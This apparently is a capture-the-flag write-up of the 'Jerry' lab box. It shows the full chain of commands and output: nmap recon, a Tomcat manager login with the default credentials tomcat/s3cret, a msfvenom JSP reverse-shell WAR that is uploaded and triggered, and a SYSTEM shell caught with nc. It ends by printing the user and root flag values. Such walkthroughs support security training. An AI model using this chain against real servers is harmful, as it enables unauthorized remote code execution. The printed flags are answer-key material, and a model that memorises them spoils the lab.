> For the complete documentation index, see [llms.txt](https://vinetsuicide.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://vinetsuicide.gitbook.io/writeups/windows/easy-boxes/jerry.md).

# Jerry

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2FbVvRcHTDo6UvVc9ib9rU%2FJerry.png?alt=media&amp;token=fc2664fd-de7e-4f05-a1d4-ecbeae0d2019" alt="" width="563"><figcaption><p>Jerry</p></figcaption></figure>

### Recon

```bash
ping -c 1 10.10.10.95
PING 10.10.10.95 (10.10.10.95) 56(84) bytes of data.
64 bytes from 10.10.10.95: icmp_seq=1 ttl=127 time=63.0 ms

--- 10.10.10.95 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 63.031/63.031/63.031/0.000 ms
```

Looks like OS is Windows, because of TTL.

Lets start a scan with nmap.

```bash
# Nmap 7.94SVN scan initiated Sat Feb 17 17:48:31 2024 as: nmap -sC -sV -Pn -p- -T5 -oN jerry 10.10.10.95
Nmap scan report for 10.10.10.95
Host is up (0.095s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat/7.0.88
|_http-server-header: Apache-Coyote/1.1
|_http-favicon: Apache Tomcat

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Feb 17 17:52:15 2024 -- 1 IP address (1 host up) scanned in 224.10 seconds
```

Just one port looks open, and it is HTTP.

### HTTP

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2FkM4UXbyPNJdywudEPFNB%2FPasted%20image%2020240217175422.png?alt=media&amp;token=ada798e1-e385-42dd-b3af-b2d78883a725" alt=""><figcaption><p>Apache Tomcat</p></figcaption></figure>

So this is Tomcat, nmap also said it, so it is true.

So Im going to try easy credentials for Tomcat.

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2F4H6xjjrGPryQ47WxEHhC%2FPasted%20image%2020240217175434.png?alt=media&amp;token=b0cc2572-e08a-4285-8307-d3e6eb36f7f1" alt=""><figcaption></figcaption></figure>

Invalid credentials, but on this page you can see "default" credentials, it is "tomcat/s3cret"

So Im going to try these credentials also.

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2FKqHoitVQ0GAd2xZbZKdd%2FPasted%20image%2020240217175514.png?alt=media&amp;token=9712deba-e2ff-420a-a417-057eae1e100f" alt=""><figcaption></figcaption></figure>

And boom, we are in!

### Reverse Shell

So to get RCE or reverse shell as well we need to upload a application, Tomcat works on java, so Im going to generate a payload with msfvenom.

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.7 LPORT=4242 -f war > reverse.war                                                                                                                               
Payload size: 1102 bytes
Final size of war file: 1102 bytes
```

Now we can upload it.

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2FFtZoR8ItoFarl0rCk81D%2FPasted%20image%2020240217180703.png?alt=media&amp;token=40aa0099-c56c-4cce-8cf2-13e838a11516" alt=""><figcaption></figcaption></figure>

But we dont know our file name which contains payload, to find it, I will type this command.

```bash
strings reverse.war | grep jsp
puxdlcxwhqrhlv.jsp}TQo
puxdlcxwhqrhlv.jspPK
```

```bash
curl http://10.10.10.95:8080/reverse/puxdlcxwhqrhlv.jsp
```

And here we go again, we got a shell.

```bash
rlwrap nc -lnvp 4242
listening on [any] 4242 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.10.95] 49192
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\apache-tomcat-7.0.88>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 0834-6C04

 Directory of C:\apache-tomcat-7.0.88

06/19/2018  03:07 AM    <DIR>          .
06/19/2018  03:07 AM    <DIR>          ..
06/19/2018  03:06 AM    <DIR>          bin
06/19/2018  05:47 AM    <DIR>          conf
06/19/2018  03:06 AM    <DIR>          lib222./
05/07/2018  01:16 PM            57,896 LICENSE
02/18/2024  12:07 AM    <DIR>          logs
05/07/2018  01:16 PM             1,275 NOTICE
05/07/2018  01:16 PM             9,600 RELEASE-NOTES
05/07/2018  01:16 PM            17,454 RUNNING.txt
06/19/2018  03:06 AM    <DIR>          temp
02/18/2024  12:07 AM    <DIR>          webapps
06/19/2018  03:34 AM    <DIR>          work
               4 File(s)         86,225 bytes
               9 Dir(s)   2,419,884,032 bytes free

C:\apache-tomcat-7.0.88>id    
id

C:\apache-tomcat-7.0.88>whoami
whoami
nt authority\system
```

### User and Root flag.

```bash
C:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 0834-6C04

 Directory of C:\Users\Administrator\Desktop

06/19/2018  06:09 AM    <DIR>          .
06/19/2018  06:09 AM    <DIR>          ..
06/19/2018  06:09 AM    <DIR>          flags
               0 File(s)              0 bytes
               3 Dir(s)   2,419,884,032 bytes free

C:\Users\Administrator\Desktop>cd flags
cd flags

C:\Users\Administrator\Desktop\flags>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 0834-6C04

 Directory of C:\Users\Administrator\Desktop\flags

06/19/2018  06:09 AM    <DIR>          .
06/19/2018  06:09 AM    <DIR>          ..
06/19/2018  06:11 AM                88 2 for the price of 1.txt
               1 File(s)             88 bytes
               2 Dir(s)   2,419,884,032 bytes free

C:\Users\Administrator\Desktop\flags>type "2 for the price of 1.txt"
type "2 for the price of 1.txt"
user.txt
7004dbcef0f854e0fb401875f26ebd00

root.txt
04a8b36e1545a455393d067e772fe90e
```
